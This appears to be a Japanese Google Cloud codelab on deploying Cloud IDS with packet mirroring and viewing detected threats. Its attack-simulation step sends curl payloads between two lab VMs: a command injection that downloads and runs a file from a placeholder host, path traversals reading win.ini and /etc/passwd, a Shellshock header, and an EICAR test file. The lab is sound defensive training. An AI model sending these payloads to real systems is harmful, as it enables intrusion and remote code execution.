1. はじめに
このラボでは、Cloud IDS をデプロイします。Cloud IDS は高度な次世代侵入検知サービスです。侵入、マルウェア、スパイウェア、コマンド&コントロール攻撃の脅威を検出します。複数の攻撃をシミュレートして、Cloud コンソールで脅威の詳細を確認します。
学習内容
- Cloud IDS エンドポイントの作成方法
- gcloud コマンドを使用して 2 つの仮想マシンを作成する方法
- パケット ミラーリング ポリシーの作成方法
- 仮想マシンからの攻撃トラフィックをシミュレートする方法
- Cloud コンソールと Cloud Logging で脅威の詳細を確認する方法
必要なもの
- Linux の基本的なコマンドに関する知識
2. Cloud IDS のユースケース
Cloud IDS は、お客様が PCI 11.4 などの高度な脅威検出とコンプライアンス要件を満たすために、Google Cloud ネイティブの次世代侵入検知サービス(IDS)を提供します。このサービスは Palo Alto Networks の脅威対策技術を利用して、高度な侵入検知を提供しています。Google Cloud の世界水準のインフラストラクチャと Palo Alto Networks の世界水準のセキュリティを組み合わせることで、フルマネージド、高パフォーマンス、最高レベルのセキュリティ効率の高度な脅威検出サービスを他に類を見ない組み合わせで実現できます。
クラウドに移行するお客様にとって、セキュリティは最優先事項です。クラウドの侵入検知サービス(IDS)など、オンプレミスにあるのと同様のセキュリティ管理を望んでいます。サードパーティのセキュリティ・ソリューションを導入してインフラを管理する、または独自のシグネチャを使用するよりも、クラウド・ネイティブなマネージド IDS ソリューションを利用することを強く望みます。その理由は、サードパーティのセキュリティ・ソリューションの導入やインフラの管理よりも、導入が容易で、パフォーマンスが高く、コストが最適化されているからです。Google Cloud IDS は、エンドツーエンドかつ自動スケーリングのマネージド IDS サービスを提供します。これにより、お客様は脅威の分析と軽減に時間を費やし、インフラストラクチャや脅威シグネチャの管理に時間とリソースを費やすことができます。
Cloud IDS は帯域外でデプロイされ、脅威を検出してアラートを発信できますが、脅威をブロックすることはできません。Google Cloud Packet Mirroring を利用して、Palo Alto Network の脅威検出エンジンを使用して分析されるネットワーク トラフィックのコピーを作成します。
3. Codelab トポロジ
図 1. このラボで使用する Cloud IDS のデプロイのアーキテクチャの概要
4. 設定と要件
セルフペース型の環境設定
- Google Cloud Console にログインして、プロジェクトを新規作成するか、既存のプロジェクトを再利用します。Gmail アカウントも Google Workspace アカウントもまだお持ちでない場合は、アカウントを作成してください。
- プロジェクト名は、このプロジェクトの参加者に表示される名称です。Google API では使用されない文字列で、いつでも更新できます。
- プロジェクト ID は、すべての Google Cloud プロジェクトにおいて一意でなければならず、不変です(設定後は変更できません)。Cloud Console により一意の文字列が自動生成されます(通常は内容を意識する必要はありません)。ほとんどの Codelab では、プロジェクト ID を参照する必要があります(通常、プロジェクト ID は「
PROJECT_ID
」の形式です)。好みの文字列でない場合は、別のランダムな ID を生成するか、独自の ID を試用して利用可能であるかどうかを確認することができます。プロジェクトの作成後、ID は「フリーズ」されます。 - 3 つ目の値として、一部の API が使用するプロジェクト番号があります。これら 3 つの値について詳しくは、こちらのドキュメントをご覧ください。
- 次に、Cloud のリソースや API を使用するために、Cloud Console で課金を有効にする必要があります。この Codelab の操作をすべて行って、費用が生じたとしても、少額です。このチュートリアルを終了した後に課金が発生しないようにリソースをシャットダウンするには、Codelab の最後にある「クリーンアップ」の手順を行います。Google Cloud の新規ユーザーは、300 米ドル分の無料トライアル プログラムをご利用いただけます。
Cloud Shell の起動
Google Cloud はノートパソコンからリモートで操作できますが、この Codelab では、Google Cloud Shell(Cloud 上で動作するコマンドライン環境)を使用します。
GCP Console で右上のツールバーにある Cloud Shell アイコンをクリックします。
プロビジョニングと環境への接続にはそれほど時間はかかりません。完了すると、次のように表示されます。
この仮想マシンには、必要な開発ツールがすべて用意されています。永続的なホーム ディレクトリが 5 GB 用意されており、Google Cloud で稼働します。そのため、ネットワークのパフォーマンスと認証機能が大幅に向上しています。このラボでの作業はすべて、ブラウザから実行できます。
5. 始める前に
API を有効にする
Cloud Shell 内で、プロジェクト ID が設定されていることを確認します。
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
必要なサービスをすべて有効にする
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. VPC ネットワークを作成
VPC ネットワーク
Cloud Shell から
gcloud compute networks create cloud-ids \ --subnet-mode=custom
サブネット
Cloud Shell から
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
プライベート サービス アクセス
Cloud Shell から
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
プライベート サービス接続
Cloud Shell から
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
ファイアウォール ルール
IAP に VM インスタンスへの接続を許可するには、次のファイアウォール ルールを作成します。
- IAP を使用してアクセスできるようにするすべての VM インスタンスに適用します。
- IP 範囲 35.235.240.0/20 からの上り(内向き)トラフィックを許可する。この範囲には、IAP が TCP 転送に使用するすべての IP アドレスが含まれています。
Cloud Shell から
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
サーバーへの標準 HTTP ポート(TCP 80)と ICMP プロトコルを許可するには:
- ネットワーク タグ「server」を持つリソースに適用されます。
- すべての送信元からの上り(内向き)を許可
Cloud Shell から
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT インスタンスを作成する
Cloud Router
Cloud Shell から
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Cloud Shell から
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Cloud IDS エンドポイントを作成する
このセクションでは、重大度を「情報」に設定して、us-east1 に Cloud IDS エンドポイントを作成します。IDS エンドポイントの作成には約 20 分かかります。
IDS エンドポイント
Cloud Shell から
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Cloud IDS エンドポイントが開始されたことを確認する
gcloud ids endpoints list --project=$PROJECT_ID
出力 -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 2 つの仮想マシンを作成する
このセクションでは、2 つの仮想マシンを作成します。1 つ目は、Cloud IDS にミラーリングするウェブサーバーです。2 番目の仮想マシンが攻撃のトラフィック ソースになります。
仮想マシン 1(サーバー)
Cloud Shell から
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
仮想マシン 2(クライアント)
Cloud Shell から
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. サーバーを準備しています
このタスクでは、サーバーを検証し、クライアントに無害なマルウェア ペイロードを提供します。
Cloud Shell を使用して VM に SSH 接続する
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
ウェブサービスが実行されていることを確認する
sudo systemctl status nginx
出力 - アクティブで実行中であることを確認する
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
ディレクトリをウェブサービスに変更する
cd /var/www/html/
ウェブサーバーで無害なマルウェア ファイルを作成する
sudo touch eicar.file
内容を貼り付ける
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
CloudShell に戻る
exit
Cloud IDS Packet Mirroring ポリシーを作成する
IDS エンドポイント転送ルールを特定し、IDS エンドポイントの状態が「準備完了」であることを確認します。
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
出力例 -「endpointForwardingRule」から値をコピーする
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
IDS エンドポイント転送ルールを変数に保存します。
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Packet Mirroring ポリシー
Cloud Shell から
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Packet Mirroring ポリシーが作成されたことを確認する
Cloud Shell から
gcloud compute packet-mirrorings list
出力
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. 攻撃トラフィックをシミュレートする
攻撃者の仮想マシン(クライアント)に SSH 接続する
Cloud Shell から
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
次の curl リクエストを実行して、悪意のあるトラフィックをシミュレートします。
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
VM を終了して CloudShell に戻る
exit
11. Cloud IDS によって検出された脅威を確認する
Cloud IDS ダッシュボードに移動する
ナビゲーション メニュー >ネットワーク・セキュリティ >Cloud IDS
[脅威] タブに移動します。
ご覧のとおり、Cloud IDS はさまざまな攻撃トラフィック プロファイルをキャプチャし、各脅威の詳細を提供しました。[更新] をクリックして脅威が見当たらない場合は、このボタンをクリックします。ここでもう少し深く掘り下げて、脅威の詳細を確認します。
「Bash Remote Code Execution Vulnerability」を見つけます。右側のその他アイコンをクリックし、[脅威の詳細を表示] を選択します。
このインシデントの詳細を Cloud Logging で確認します。左向き矢印 をクリックして、[脅威] ページに戻ります。
右側のその他アイコンをクリックし、[脅威ログを表示] を選択します。
Cloud Logging にも同じ詳細が提供されます。これにより、ログを Cloud Storage、Chronicle、または任意の SIEM/SOAR に送信できるようになります。また、アラートに基づいて修復アクションを実行するカスタム ワークフローを作成することもできます。例:アラートでトリガーする Cloud Functions の関数を作成し、IP アドレスをブロックするファイアウォール ルールを作成または更新するか、Cloud Armor ポリシーを作成 / 更新します。
12. クリーンアップ手順
VM インスタンスを終了(すべてのタブ)
exit
単一の Cloud Shell ターミナルからラボのコンポーネントを削除する
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. 完了
以上で、この Codelab は完了です。
学習した内容
- Cloud IDS のユースケース
- ネットワークの要件
- サポートされている API
- Cloud IDS エンドポイントを作成しました
- 2 個の VM をデプロイしました
- 「攻撃」を発生させたCompute Engine インスタンスから
- IDS によって検証済みの脅威が検出された
- 脅威の詳細とログを確認する